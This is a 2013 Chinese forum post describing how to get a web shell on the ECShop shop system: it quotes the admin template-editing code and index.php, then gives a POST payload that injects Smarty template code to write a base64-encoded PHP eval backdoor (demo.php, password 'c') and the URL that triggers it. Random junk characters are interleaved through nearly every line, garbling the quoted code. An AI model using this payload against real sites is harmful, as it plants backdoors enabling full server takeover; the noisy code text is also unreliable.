找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2543|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板+ P0 t+ ]3 Y% b8 e
6 y& a$ r1 c+ }* R6 C: e
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了7 y) h( |9 I; h
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
& m/ J9 i/ ?, xadmin/template.php
5 ~- r+ W( s3 m# _1 S+ ~2 L; y6 G7 I+ M3 F* F
1 if ($_REQUEST['act'] == 'update_library')
# N) z* X, n  ?# L+ J) d7 Y7 a1 |; v
" }% d9 m: D$ J% ~0 H3 E" A2   1 Y+ U5 _) N$ P+ B- T
% R) P, {% H$ w
3 {
' _" B" w6 m! U# r" r4 z) I; t# [1 u) `9 K; g! ^. ?4 v! N+ S
4     check_authz_json('library_manage'); 2 B4 x, H" i( b3 ^" R

: Y% @4 H6 M+ m2 a  v! f5 k/ Q( {5   ' O! o/ t' U  m" q5 W

5 G0 B& f/ M2 y" g% b+ Y6     $html = stripslashes(json_str_iconv($_POST['html']));
# w# g) [7 D3 S
" ~6 |1 W+ P$ _6 I$ X. e7   
% k0 g2 X  Q5 w5 A3 k" v& \2 q; M7 s7 S6 |/ V$ `! O5 J
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 " C. e' y1 I, z% N2 T
; d1 f0 d+ I, i2 ^( X$ ]5 H
9   7 H. ], |1 {- d) ?2 f, ]0 H
. B& }  b2 p2 i2 W
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
2 q, Y6 A0 z5 K# H
! Y. U1 W, |+ }5 ^11   
2 I0 V! r2 \9 K2 m9 u! _/ i2 S2 H* e$ J
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
. g  _+ a5 Z: ^) x9 y; ^9 |, @/ `/ s$ }4 {2 G& B( }
13   
+ v5 Q( M* \0 J! |) b: v& v4 N( m
6 l  ~3 H7 m) J) H$ r; c14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
( w- R' D  I9 ?6 A2 u: A0 f
5 F9 E% f) k3 M" M2 _15     {
; O9 g/ `+ k0 Z0 f1 F3 x! J
' R" A- d* z4 q' L16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); , `8 Y& J. i! ?7 Y) m

. ?$ F8 J3 y* N17         make_json_result('', $_LANG['update_lib_success']); 2 Z, {* R* l/ ?& d8 p6 D; L/ _

# W* W8 a9 q! Z+ q$ d" w6 Q, P18     } 3 h0 g9 E$ H" ^

/ V# w1 i% c) _' [& A* O19     else
$ r7 B+ H" L8 K( i& y
" K+ G' h4 A+ q20     { 4 U6 e7 E# G" U1 e; q

0 c' X1 m0 V& @) C' \! |5 b. z! S21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
# d6 D" @7 ~8 l4 R& f+ y4 N+ O" T1 l  x4 b4 l( i# w
22     }
$ y% v) X. @  S% ^
+ J8 L: F  X/ P% R7 R' D' ~) m% b23 } 6 z7 ~+ h/ L, `, I

; Z3 g% E2 [, K+ R那么找个比较方便调用了模板的文件
' _5 a' V4 c: L; r8 Hindex.php+ s" o5 u1 Q, ?+ t- y3 ]. K! J! ^
/ f0 f' ^! s  T$ a
1 if ($act == 'cat_rec')
( `! K5 t- f( D6 V, d5 l9 v0 R2 Y
. }6 l: S& g* l% n7 L9 {* k2   2 d- \0 w$ W/ L9 s
; [( [2 ]: S" X, s
3 { 1 ^, K( J; o) L+ {( J4 ~

5 P$ u, B( S: T- j( z6 j3 H4   ) S( b# _9 l; y3 l1 o
; ]1 {4 l1 ?+ t% l2 p2 W3 _
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
& _* v5 W* H" j* R  X# W, e, R
' c: [1 t- v( I' g+ t6   # U$ ~) {- o7 e( i- ~
! N/ ^& {+ |3 {
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ) G* K- X  T! ]5 |2 |. R; s
4 n' e; J+ A, d- H% p
8   / U$ c  K' o8 g& w3 {
" w5 @1 B- A" |* h! ]
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
6 I3 ?. S+ T3 \. O, l  M$ e9 T+ M. ]* ^; a
10   . Y" A# i( _# z; d8 R1 _% c1 v

- Z1 g5 U( d- W5 [2 ]7 F: e6 V11     include_once('includes/cls_json.php');
( Q1 w( r( `2 \& f* j8 `- m: ]3 F
/ d" O1 n8 Y8 P6 ?2 U: H0 I: s! ^$ L12   
( T+ h6 m  F1 U6 K  O/ J' e; X: h- h$ L: }8 Z5 n
13     $json = new JSON;
. h$ B; G2 y: |* a& I( P1 F
) `- O* C4 {/ u; c3 ^9 W3 V6 v14   
) ]7 ?! A" B) P6 |  U% g* _! X% x
: }& U; |" J/ a( v, l" f15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ' e6 n  [2 L- z" n
6 Q( p! a" j& A1 ^% Q! W
16   
% E( ]. C5 V( x$ g8 W5 R( C0 F
17     $children = get_children($cat_id); / z) y. T9 Z& p# A9 K  b
  Z/ w  C: h1 E% e4 P2 s5 O2 L: E
18   ( @9 F8 B, Z' W: R8 h0 {- |+ }: c$ ?
2 P5 g( m3 f' _8 G( c5 |
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
" u$ g& a* {6 p& Z: q' S7 W: n
! H% U) N1 u! s4 ?: [' W20   
! Z  D. L. [* y* o  U; r1 _  y
% A8 F1 z8 p  [, q3 `21     $smarty->assign('cat_rec_sign', 1); % o7 ?' t2 k0 v2 I# [4 D

2 u+ M4 A$ Y5 A5 m22   $ Q8 a! S9 S7 c$ F& I5 ^& e
' [* d. P, g6 o) S  B
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best % r7 h% E5 [  Z2 |4 d

2 ~7 v$ b: G5 @24   
! }. b6 I* K( v* i& w; Q2 Z. g  Z6 N* d$ j  C
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
# J# G. Q) d. t
6 W  L' n3 [* v6 L2 H26   " O' \9 P. O9 Q2 V
5 K0 B3 _8 g1 d
27         echo $rec_array[$rec_type]; " i/ L% M; d& X8 p" Q

6 }6 `" v. e6 o) W0 N28   ( U- i" s  ~* f' W& ?1 b- E
: ~( I- ?2 w+ p" u$ {* p- x6 A
29     die($json->encode($result)); % G, ~) G% N2 Q- ?1 E; k
. F0 i4 w3 r, X4 c/ m
30   
1 M' o  R: G# G" q; L8 N- p: d9 T! L
' ]2 ~- D7 H& Q7 T. z$ B4 P31 }
; u9 i6 e3 n7 |0 T% m) [) l
" ~* Z& i1 F" x, G* X: _1 A那么就有利用方法了
  A* O  h; p% A8 d0 P4 \post包到http://localhost/ec/admin/template.php?act=update_library
% X: v6 Z$ A/ \! o$ \, A; N8 SPost内容:
2 q4 S: `8 C: {) s5 U1 S/ L
4 b) O& O9 i2 j4 t
3 }+ X7 u% ]% p+ s9 f1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
+ i* ]- c. S- h6 w# i, R9 b' K. j, \
然后访问http://localhost/ec/index.php?act=cat_rec
) C8 v! n7 P2 H2 S5 s% B: C: j
& B2 @$ H; @/ E, v3 {5 c  D+ sshel地址:http://localhost/ec/demo.php9 y' p% z5 N# w3 \; `3 k
密码c3 n/ Q; \! A- \5 y

" }. P7 V2 d3 A3 `1 s1 N8 z- a, {1 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表